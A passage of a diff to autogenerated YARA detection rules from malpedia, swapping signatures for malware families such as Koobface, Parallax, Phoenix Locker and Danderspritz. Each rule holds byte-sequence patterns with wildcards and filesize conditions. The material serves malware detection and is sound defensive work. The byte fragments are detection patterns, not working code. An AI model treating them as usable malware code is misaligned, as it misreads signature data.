4889442420 895c2450 } + $sequence_12 = { 488bd9 83fa04 763b 0f1f00 0fb74b02 ff15???????? } + $sequence_13 = { 4883ec20 448b4124 33ff 488bf2 428d04c500000000 488bd9 014120 } + $sequence_14 = { 488bcb ff15???????? ffc7 034310 8d740627 413bfc 7cdf } + $sequence_15 = { 488bcd 897c2470 48897c2420 ff15???????? 85c0 } + $sequence_16 = { 668b1401 668910 83c002 4e 75f3 } + $sequence_17 = { 85db 7416 57 8bfa 2bfe 90 } + $sequence_18 = { 8bd8 56 8bf1 85db 7416 } + $sequence_19 = { 50 a1???????? 6a08 50 ff15???????? 8bd8 } + $sequence_20 = { ff15???????? 8bf0 8d85d4fdffff 50 } + $sequence_21 = { 90 ff15???????? 8a0437 8806 46 4b } + $sequence_22 = { 833d????????00 751b 6a00 6800004000 6800000400 } condition: - 7 of them and filesize < 1642496 + 7 of them and filesize < 590848 } -rule MALPEDIA_Win_Graphical_Neutrino_Auto : FILE +rule MALPEDIA_Win_Pipcreat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b8be2926-4142-5b9c-963d-8827c1d257eb" + id = "ff44b514-0bd0-5060-9863-69f45ed3246f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphical_neutrino" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphical_neutrino_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pipcreat_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "738cd6fc4267dd6a5687776cc638194fdfe1e78d0e84383b17d6f440ed210297" + logic_hash = "8b0c4b69f4a54d875f228245ca03fbe66625db30fecf518efb33a362af79adb3" score = 75 quality = 75 tags = "FILE" @@ -127787,32 +127720,32 @@ rule MALPEDIA_Win_Graphical_Neutrino_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 56 53 498b18 458b5808 } - $sequence_1 = { e8???????? 4c89e1 4c89f2 4c8d4010 } - $sequence_2 = { 8b6c242c 48637c2428 8d743d00 39f7 7f2b 83fe0f } - $sequence_3 = { 83c030 83c230 8806 488d4602 885601 } - $sequence_4 = { 488d8424d8020000 4c8dbc24c8020000 48898424c8020000 488d442460 } - $sequence_5 = { 488b742470 4c8b7c2450 8a05???????? 84c0 } - $sequence_6 = { 7518 488b5108 48c1e004 480302 } - $sequence_7 = { 4863ee 4d89e0 488d4c2b02 e8???????? 488d5302 b030 89f1 } - $sequence_8 = { 4c8b4c2438 eb26 4584f6 750e 488b17 428a1422 88541d5a } - $sequence_9 = { 4885d2 0f840d020000 8a02 ffc8 3c01 0f8701020000 } + $sequence_0 = { 6800100000 50 ff35???????? e8???????? 83c40c 5f } + $sequence_1 = { 6a00 8d442420 6a00 50 6a01 6a02 6a20 } + $sequence_2 = { 83c418 85c0 7436 56 ff35???????? ff15???????? } + $sequence_3 = { 33c0 c3 8b0d???????? 51 ff15???????? } + $sequence_4 = { e8???????? 83c40c ff15???????? 6a3f a3???????? 33db } + $sequence_5 = { 6a02 6a20 68ff010f00 53 57 52 ffd5 } + $sequence_6 = { 40 3b4510 7cf6 ff35???????? ff15???????? 5f 8bc3 } + $sequence_7 = { 6a00 57 ff15???????? 83c002 83c408 8bf8 66833f00 } + $sequence_8 = { 6a30 6868420010 eb07 6a28 } + $sequence_9 = { a5 50 33db ff35???????? a4 ff15???????? } condition: - 7 of them and filesize < 674816 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Andardoor_Auto : FILE +rule MALPEDIA_Win_Electric_Powder_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "36610ce1-8689-5760-8490-3c048dd08128" + id = "70f1fd4f-5a0a-57d1-8155-729a3e15c844" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andardoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.andardoor_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.electric_powder" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.electric_powder_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "77bea7a2d8aed8c22ef97e06e53b736b63004170333d5461958719ea43d8bb7c" + logic_hash = "801118c2f636f6d2e21f384ccb7f80375d94dda489cf095ec07a8f466a0ae16c" score = 75 quality = 75 tags = "FILE" @@ -127826,32 +127759,32 @@ rule MALPEDIA_Win_Andardoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? eb7d 33d2 488d8db0030000 41b808020000 e8???????? 33d2 } - $sequence_1 = { 90 0fb7840da8030000 6689840dd0040000 488d4902 6685c0 75e7 } - $sequence_2 = { 75f4 4c8d043f 488d9560030000 488d4c2468 e8???????? 488b35???????? } - $sequence_3 = { 488b05???????? 4833c4 4889842450400000 33c0 } - $sequence_4 = { 482bfe 0f1f4000 660f1f840000000000 0fb701 } - $sequence_5 = { 4d894bc8 458a4b28 498943e8 488b8424b0000000 498953b8 498d53b8 4d8943c0 } - $sequence_6 = { 488d4c2440 ff15???????? 85c0 7551 } - $sequence_7 = { 488bc8 e8???????? e8???????? 488b0d???????? 488d542450 4881c108020000 c744245004010000 } - $sequence_8 = { 498bc8 498bd8 e8???????? 33c9 85c0 } - $sequence_9 = { 4883cfff 0f1f8000000000 664439647802 488d7f01 75f4 4c8d043f 488d9560030000 } + $sequence_0 = { 85c0 0f84b6130000 8d8de0fbffff 8d5720 8d7102 668b01 83c102 } + $sequence_1 = { 8d8d68faffff e9???????? 8d8d5cf9ffff e9???????? 8d8df8faffff e9???????? 8b857cf9ffff } + $sequence_2 = { 3bd8 0f42d8 8d4301 85c0 7504 33f6 eb34 } + $sequence_3 = { 8b35???????? 81c230750000 89b574f9ffff 52 ffd6 68???????? 6a01 } + $sequence_4 = { 3b4e08 0f838e010000 8b4604 c704c810000000 8b5608 83ea01 } + $sequence_5 = { 0f4dd0 7ce7 56 8d7207 83e6f8 3bd6 } + $sequence_6 = { c645fc79 e8???????? c785e0fbffff00000000 81cf00010000 c785e4fbffff00000000 } + $sequence_7 = { c60600 8d8d30fcffff e8???????? 8d8520fdffff ba???????? 50 8d8da0fbffff } + $sequence_8 = { 8947fc eb0b 50 e8???????? 83c404 8bf8 8b4dfc } + $sequence_9 = { 8bf0 e9???????? 8b45f8 46 8b541004 8955ec 3bf2 } condition: - 7 of them and filesize < 339968 + 7 of them and filesize < 565248 } -rule MALPEDIA_Win_Cookiebag_Auto : FILE +rule MALPEDIA_Win_Vmzeus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a1b2ec8f-a75e-5a6d-8c41-80da5c8e831c" + id = "4b33099d-6223-5a8a-8424-386c7b1a44ee" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cookiebag_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vmzeus_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "2cb20734fcd81a355448bc2557be61a5fdc54ceb6b9b3a4d3d93ee10aa49b59c" + logic_hash = "17e1987d98b8da94f97f8bd71f2765f1dddeafbd1967101797951278b17d5b65" score = 75 quality = 75 tags = "FILE" @@ -127865,32 +127798,32 @@ rule MALPEDIA_Win_Cookiebag_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? bf???????? 83c9ff 33c0 c644247403 f2ae f7d1 } - $sequence_1 = { 83e00f eb02 33c0 0fbe84c1a0e24100 c1f804 83f807 } - $sequence_2 = { 2bc2 83f801 8a5cbc2c 7705 } - $sequence_3 = { 896c2458 896c245c 741d 8d48ff 8a40ff 84c0 740a } - $sequence_4 = { e9???????? 49 51 e8???????? 83c404 e9???????? 8a8c2484000000 } - $sequence_5 = { 47 83f80b 0f8777020000 ff248509c44100 80fb31 7c0c } - $sequence_6 = { e8???????? 8b4c242c 8b442428 45 83c710 e9???????? 50 } - $sequence_7 = { 8bd8 8dbe98000000 6a01 53 8bcf e8???????? 84c0 } - $sequence_8 = { 8bf8 8d9e04010000 6a01 57 8bcb e8???????? 84c0 } - $sequence_9 = { 889c24b8000000 e8???????? 8d44242c 8d4c241c 50 8d542460 51 } + $sequence_0 = { f3a4 b001 eb02 32c0 } + $sequence_1 = { 7508 6a04 58 e9???????? 32c0 6a4c } + $sequence_2 = { 6a4c 8d7c242c 59 f3aa } + $sequence_3 = { f3a4 b001 eb02 32c0 5f 5e } + $sequence_4 = { 58 e9???????? 32c0 6a4c 8d7c242c 59 f3aa } + $sequence_5 = { e9???????? 32c0 6a4c 8d7c242c } + $sequence_6 = { 58 e9???????? 32c0 6a4c 8d7c242c } + $sequence_7 = { 7508 6a04 58 e9???????? 32c0 } + $sequence_8 = { 6a10 32c0 59 8bfb } + $sequence_9 = { 6a04 58 e9???????? 32c0 6a4c } condition: - 7 of them and filesize < 311296 + 7 of them and filesize < 475136 } -rule MALPEDIA_Win_Soundbill_Auto : FILE +rule MALPEDIA_Win_Unidentified_103_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fc6eb91d-5824-524d-bbb8-b5d2b50f1e71" + id = "b558874c-ad8a-53b0-9aa8-68edfb2b5b00" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbill" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soundbill_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_103" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_103_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "23246153789cca2dc7fd1119b61492f6729a30eebbbf9247088b38725417e92a" + logic_hash = "53bab14606fb94c26c9c4250a4ba5d5b69e3e483ae51cdbc9cd021b3f09f3c4b" score = 75 quality = 75 tags = "FILE" @@ -127904,32 +127837,32 @@ rule MALPEDIA_Win_Soundbill_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 56 4881ecb0030000 488b05???????? 4833c4 4889842470030000 488b8424f0030000 } - $sequence_1 = { 488b8da0000000 e8???????? 4883c420 5d c3 488d8a70000000 e9???????? } - $sequence_2 = { 750e 85c9 0f95c0 8806 83f901 760c eb03 } - $sequence_3 = { 48894a08 488d4808 e8???????? 488d0579b00200 488903 488bc3 4883c420 } - $sequence_4 = { f20f5ce9 f2410f1004c1 488d15562b0100 f20f1014c2 } - $sequence_5 = { c644243001 44397c2440 7f10 ff442434 4885c9 7426 c644243c01 } - $sequence_6 = { 483305???????? 488d1516b70200 488bcb 488905???????? ff15???????? 483305???????? } - $sequence_7 = { ffd7 4c8bf0 4885c0 751e 498bcf ff15???????? 488bce } - $sequence_8 = { 418d542416 488d0d3f4b0100 e8???????? 488b0b 66443921 488bcb 744d } - $sequence_9 = { 8b4018 25c0010000 83f840 0f84e7010000 } + $sequence_0 = { 89c3 ffd6 897c2408 c744240400000000 890424 ff942488000000 } + $sequence_1 = { 897c2434 8bbc2450010000 894c2430 8b8c244c010000 } + $sequence_2 = { 8944246c 8d842419010000 c784241901000061647661 c784241d01000070693332 c78424210100002e646c6c 890424 } + $sequence_3 = { 8b3c24 85ff 743a c6012d c6441e0200 89d3 0fb60c06 } + $sequence_4 = { 8b8424c4000000 ffd0 83ec04 c684249001000000 8dac240c060000 c78424c403000000000000 } + $sequence_5 = { 8b842440010000 89442418 8b842438010000 89442414 8b8424d0000000 8b00 89442404 } + $sequence_6 = { 8d54244a 83c001 803c0200 75f7 8b8c2498000000 c744240c34020000 } + $sequence_7 = { c78424a60000007072696e c68424ac00000000 e8???????? b865000000 31db c784241c03000028010000 c7842433010000576d6950 } + $sequence_8 = { 89442404 c78424d201000052656164 c78424d601000046696c65 c68424da01000000 e8???????? 891c24 8984241c010000 } + $sequence_9 = { 897c2420 8bbc2444010000 897c241c 8bbc2440010000 897c2418 8bbc2488010000 } condition: - 7 of them and filesize < 973824 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Koobface_Auto : FILE +rule MALPEDIA_Win_Powerduke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "26b0388c-a8f9-5f6a-a459-0177fcecc6df" + id = "b1a14b33-ddbf-5df6-8a25-665602dd43b2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.koobface_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powerduke_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "0e852ce8a28d3657fb835380a3e7fdc823e6b573b8d3e8c2631736d136315996" + logic_hash = "b0e443670552cebb99307ce5c81f7553239dfaab3a0b54a91654aba975b30757" score = 75 quality = 75 tags = "FILE" @@ -127943,32 +127876,32 @@ rule MALPEDIA_Win_Koobface_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85c8f3ffff 50 ffd6 8d85d8f3ffff 50 c645fc06 ffd6 } - $sequence_1 = { 56 e8???????? 59 50 56 8d8f50010000 e8???????? } - $sequence_2 = { 50 0fb78538c1ffff 50 ffb534c1ffff 8d85f0e8ffff ffb530c1ffff 68???????? } - $sequence_3 = { 6874040000 b8???????? e8???????? 8b4508 } - $sequence_4 = { 8bd6 c1fa05 8b1495a0534200 83e61f c1e606 f644320480 7416 } - $sequence_5 = { 5e 8bc3 5b 5d c20c00 e9???????? 55 } - $sequence_6 = { ff91b4000000 ff75d8 ffd3 8b4514 3bc7 } - $sequence_7 = { 50 e8???????? 68???????? 8d850857ffff 50 } - $sequence_8 = { 8906 3bc7 7425 6aeb 50 ff15???????? ff750c } - $sequence_9 = { ff11 8b45e0 c645fc02 85c0 7406 8b08 50 } + $sequence_0 = { 0f8401030000 8945bc 6a00 6800400000 68???????? ff75bc ff15???????? } + $sequence_1 = { ebea ad 89c2 81fa68747470 0f8586010000 } + $sequence_2 = { 681b000200 6a00 68???????? 6801000080 ff15???????? 09c0 0f8597000000 } + $sequence_3 = { 7518 8d85f4f7ffff 6800040000 50 ff35???????? ff15???????? 8d85f4f7ffff } + $sequence_4 = { 6a00 ff35???????? ff15???????? c705????????00000000 837dfc01 } + $sequence_5 = { 55 ff15???????? 5a 59 } + $sequence_6 = { c745fc01000000 eb11 c745d001000000 8b451c } + $sequence_7 = { 7403 41 ebf1 c6040e00 51 } + $sequence_8 = { 7419 a3???????? ff7514 50 ff15???????? c705????????01000000 31c0 } + $sequence_9 = { ff75e4 ff15???????? ff75c4 ff15???????? } condition: - 7 of them and filesize < 368640 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Parallax_Auto : FILE +rule MALPEDIA_Win_Unidentified_096_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8bc5e4c5-7297-58f6-93c7-d7e053396899" + id = "14dc2ed1-3b02-5d6b-954c-e104f03f276c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.parallax_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_096" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_096_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "048041cd9476ccea336d154c3ff8a8cb0591d12b8f4809a446240e8afe220643" + logic_hash = "ce476a34a11ac04b46490ceeeb6d4b2e968299e307b980b5713cec9af31b5ce1" score = 75 quality = 75 tags = "FILE" @@ -127982,34 +127915,34 @@ rule MALPEDIA_Win_Parallax_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff96fc000000 6a04 68???????? 6a0a 68???????? e8???????? 6a04 } - $sequence_1 = { 837d0801 7548 8d35f4ec4000 8d3d04f14000 b908020000 f3a4 6a04 } - $sequence_2 = { ff7634 52 ff750c e8???????? 6a00 ff750c ff7508 } - $sequence_3 = { 3d02800000 7510 ff7514 ff7510 e8???????? e9???????? 3d03800000 } - $sequence_4 = { 5d c20c00 55 8bec 8b7d08 } - $sequence_5 = { 5d c20800 e8???????? 5e 662bf6 8b15???????? 3315???????? } - $sequence_6 = { 895f1c 8bc3 5f 5e 8be5 5d c20800 } - $sequence_7 = { 89463c 68ff1f0000 e8???????? 8b563c } - $sequence_8 = { ff751c 8f4614 ff7520 8f461c 5d c21c00 } - $sequence_9 = { 8b4648 8945f4 ff75f8 ff75f0 ff75f4 e8???????? eb28 } + $sequence_0 = { a2???????? 81e1ffff0000 5f 83c1f8 5e } + $sequence_1 = { 52 e8???????? 83c418 c3 8b0d???????? 51 68???????? } + $sequence_2 = { 55 6800000080 55 6800000080 } + $sequence_3 = { 68ff000000 52 ff15???????? 5f 5e 33c0 } + $sequence_4 = { 85c0 7505 5e 83c40c c3 6a0c } + $sequence_5 = { 83c03d eb3f 85ff 8ac1 7d04 } + $sequence_6 = { 85ff 7523 8b4c2420 8b54241c 8b442414 51 52 } + $sequence_7 = { b024 a2???????? eb3b b025 a2???????? } + $sequence_8 = { 7d04 0480 eb35 0470 eb31 } + $sequence_9 = { 8b400c 89410c e8???????? 83c410 56 e8???????? } condition: - 7 of them and filesize < 352256 + 7 of them and filesize < 25648 } -rule MALPEDIA_Win_Phoenix_Locker_Auto : FILE +rule MALPEDIA_Win_Synccrypt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "32012f66-221c-5fa5-9d14-f943abc9c522" + id = "f82ea40e-0da6-5f75-a1e0-92f3a1e696de" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phoenix_locker_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.synccrypt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.synccrypt_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "c929252a8fed8f1bda435d368708b210ebe5b5f043e324b3e033e447747795e0" + logic_hash = "b9e46808771b143f589c002978b4db13a073c8de6a5f0396d2ab6b76d653e5e9" score = 75 - quality = 75 + quality = 45 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -128021,32 +127954,32 @@ rule MALPEDIA_Win_Phoenix_Locker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffc3 4d0fbfd0 66450fbed2 450fbfd5 4c63d3 e9???????? e9???????? } - $sequence_1 = { 0f8774000000 0f8530000000 488b542428 480fb7cd 488d4b14 e9???????? ff15???????? } - $sequence_2 = { 41b07c 6644896c2420 480fabc8 48ffc8 4180d05d 488d542420 } - $sequence_3 = { 4586c0 4c8bc2 f7d2 488bd1 488d0de21fe5ff e8???????? 488d0dd61fe5ff } - $sequence_4 = { 4184eb f9 4c03d1 4d8d1c0b f8 41f6c484 4585c9 } - $sequence_5 = { 688c4bd073 0f82f8aefeff 48818424100000006c322f5a 5e 5e 5e } - $sequence_6 = { 418b0c84 98 23cd 660fb6c6 4433c1 98 4633048b } - $sequence_7 = { e9???????? 0f84c0000000 418d5424ff 6641f7c2266e 4c0fa4cfaa 4c8bed } - $sequence_8 = { 55 d9b726ae0b68 a947d046d6 5b 21bd5e13d92f 5a 81e516495a66 } - $sequence_9 = { f5 f69c2418000000 5f 415e 415e 415e 5f } + $sequence_0 = { e9???????? 8d43d0 6683f809 0f8654010000 8d439f 6683f805 0f8653010000 } + $sequence_1 = { c7465800000000 893c24 c744240440000000 e8???????? 8b06 8903 8b4604 } + $sequence_2 = { 891c24 c744240400000000 bb01000000 e8???????? c744240c32010000 c7442408???????? c74424041e000000 } + $sequence_3 = { c1fa02 29c2 8d0492 01c0 29c1 85d2 0fb68181e65800 } + $sequence_4 = { c7442408???????? c744240426000000 c704240a000000 e8???????? 833d????????ff 0f851cfeffff eb8d } + $sequence_5 = { c744240878000000 c74424048e000000 c7042426000000 e8???????? 83caff e9???????? c744245caab75900 } + $sequence_6 = { e8???????? 893424 89c3 e8???????? 29c3 7876 39fb } + $sequence_7 = { c7433c00000000 c7434000000000 891c24 ff5608 85c0 7411 83c424 } + $sequence_8 = { 896c2404 893c24 e8???????? 893c24 e8???????? 8b442424 83c43c } + $sequence_9 = { c7442404???????? 893424 e8???????? 85c0 0f8ff3feffff e9???????? c7442404???????? } condition: - 7 of them and filesize < 3702784 + 7 of them and filesize < 4489216 } -rule MALPEDIA_Win_Gemcutter_Auto : FILE +rule MALPEDIA_Win_Remsec_Strider_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f2a59f86-1075-5464-b91b-cb447c183566" + id = "db849346-fdc8-5458-b09f-0ed961302034" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gemcutter_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remsec_strider_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "9745c8061ab88116351043d55251d3e8c32737ca442027c8a6620480abc8c8bf" + logic_hash = "c3432e8fc924d7004cd90cb89b83a8a788a294cbc5555d3841fb9abcee97c26b" score = 75 quality = 75 tags = "FILE" @@ -128060,32 +127993,32 @@ rule MALPEDIA_Win_Gemcutter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { fec8 8886a0314000 8a843579ffffff 46 ebea 395d08 889ea0314000 } - $sequence_1 = { 8d85f0fcffff 53 50 ffd6 8d85f0fcffff } - $sequence_2 = { 68???????? e8???????? 83c424 8b3d???????? 56 } - $sequence_3 = { 6a01 ff15???????? 6a01 68???????? e8???????? 6a01 } - $sequence_4 = { e8???????? 83c424 8b3d???????? 56 33f6 } - $sequence_5 = { 83c410 8d85f0fdffff 53 50 ffd6 8b3d???????? 8d85f0fdffff } - $sequence_6 = { 57 53 6801001f00 ff15???????? 3bc3 be???????? } - $sequence_7 = { 56 ff15???????? 8bf8 8d8500fcffff } - $sequence_8 = { fec8 8886a0314000 8a843579ffffff 46 ebea 395d08 } - $sequence_9 = { 6a00 6801001f00 ff15???????? 85c0 7517 68e8030000 ff15???????? } + $sequence_0 = { e8???????? c700???????? c74024282d8000 897828 8b481c c7412003000000 89782c } + $sequence_1 = { e8???????? 8bc8 6a01 8bc3 e8???????? 83c40c 83c8ff } + $sequence_2 = { 2345fc d3e8 0fb74de2 03c1 8b4e4c 8b0481 8bc8 } + $sequence_3 = { 6a04 59 83460810 8b55f4 0fb75a02 8b4608 0fb7d3 } + $sequence_4 = { ff4dfc 75d1 8bc6 e8???????? 8bf8 8d4701 3dffffff3f } + $sequence_5 = { 5e 5b c3 8b4010 80781501 750d } + $sequence_6 = { 8b4628 8b4e14 8bfb eb0c 8b5008 3bfa 7302 } + $sequence_7 = { 8bd8 8b4310 8b4844 56 3b4840 7205 e8???????? } + $sequence_8 = { 0f859af6ffff 8b44240c dd16 c1ef0e 8d84b80400f8ff 6a03 } + $sequence_9 = { e9???????? 8b06 834008f0 8b36 b8ffff0000 66014634 8bc7 } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 327680 } -rule MALPEDIA_Win_Quiterat_Auto : FILE +rule MALPEDIA_Win_Danderspritz_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "43a5ead4-80ee-505e-8349-ccdf5ab70f14" + id = "1b0527de-0d7b-5ad4-aabc-a511337e98f1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quiterat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quiterat_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danderspritz" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.danderspritz_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "90260961ae1a599548c6d7cadbabe833b3a94be00dfdebc01e1cf8dc50ee7760" + logic_hash = "a3dc5330dc4023c2900af3ec5e9bf8ed5ecdce820fe76e6a6bb8f01cda67ce81" score = 75 quality = 75 tags = "FILE" @@ -128099,32 +128032,32 @@ rule MALPEDIA_Win_Quiterat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d442440 50 8d442418 50 8d442438 50 8d4c241c } - $sequence_1 = { 8d4dac e8???????? 8d4db0 c645fc2b e8???????? 8d45ec 50 } - $sequence_2 = { e8???????? 8d4c2410 51 50 8bcf e8???????? 8d4c2410 } - $sequence_3 = { 8d442424 57 50 e8???????? 8b8424bc020000 83c40c 8bc8 } - $sequence_4 = { e8???????? 6a01 68???????? 8d4c2430 e8???????? ff7004 ff30 } - $sequence_5 = { f00fc108 0f95c0 84c0 756e 8b44241c eb5b 837f1006 } - $sequence_6 = { 8b7c241c 8a4c2440 8b4360 8b5364 3b4368 7505 3b536c } - $sequence_7 = { 8b7c242c 8b4108 83c004 8d1481 89542418 8b410c 8d0c81 } - $sequence_8 = { c20800 6aff 6a00 68???????? 8d442440 b9???????? 50 } - $sequence_9 = { 8bf1 33db 57 c706???????? 395e50 7e2d 33ff } + $sequence_0 = { e8???????? 3ac3 7534 4c8b15???????? 483bfb 4d8bca 0f94c2 } + $sequence_1 = { 48894360 4183f802 0f877bfeffff 4183e101 488bcb 418bd1 e8???????? } + $sequence_2 = { 7425 85d2 7421 3bc1 721d 3bc2 7219 } + $sequence_3 = { 4053 4883ec30 488bd9 85d2 753d 488d9198010000 488d0d75e60100 } + $sequence_4 = { 83f8ff 7505 e8???????? 8b0d???????? ff15???????? 4885c0 7404 } + $sequence_5 = { 4c8d0d5fe60300 4c8d0560e60300 488d1555e60300 488bc8 e8???????? 83f8ff 7525 } + $sequence_6 = { 0fb6da 498d4be0 4533c9 448bc0 498bd2 896c2448 66896c2434 } + $sequence_7 = { 488bfe 4885f6 759a 8b435c 83635400 894348 } + $sequence_8 = { 4103fd 488b4538 8a480c 80f9ff 7403 83c708 393e } + $sequence_9 = { 448bc0 ba02000000 488bcf e8???????? b800000010 488b9c2408010000 4881c4c0000000 } condition: - 7 of them and filesize < 5892096 + 7 of them and filesize < 750592 } -rule MALPEDIA_Win_Catb_Auto : FILE +rule MALPEDIA_Win_Pipemon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "933995f2-f16f-57d3-8dbf-a34d98a15a16" + id = "641a9fef-3a8d-534e-bfa2-dfb8a6acf672" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.catb" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.catb_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pipemon_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "67c973c178a5aaefb496aaca8211cbe6cac87c68d3dfe20d86da6ecd47acde94" + logic_hash = "e491e9d37fd535256d0dbfcb98468cb6b5a0e8d2ca1e4782bf7c27cb6ebbc39b" score = 75 quality = 75 tags = "FILE" @@ -128138,32 +128071,32 @@ rule MALPEDIA_Win_Catb_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8491000000 498bc5 4c8d0d5d58ffff 83e03f 498bd5 } - $sequence_1 = { eb1f be07000000 488d15ef9e0000 448bc6 488bcf e8???????? 85c0 } - $sequence_2 = { 488d1db6a90300 488d3537fe0000 48895c2420 488d05aba90300 483bd8 7419 483933 } - $sequence_3 = { 4c8d0da47f0000 b903000000 4c8d05907f0000 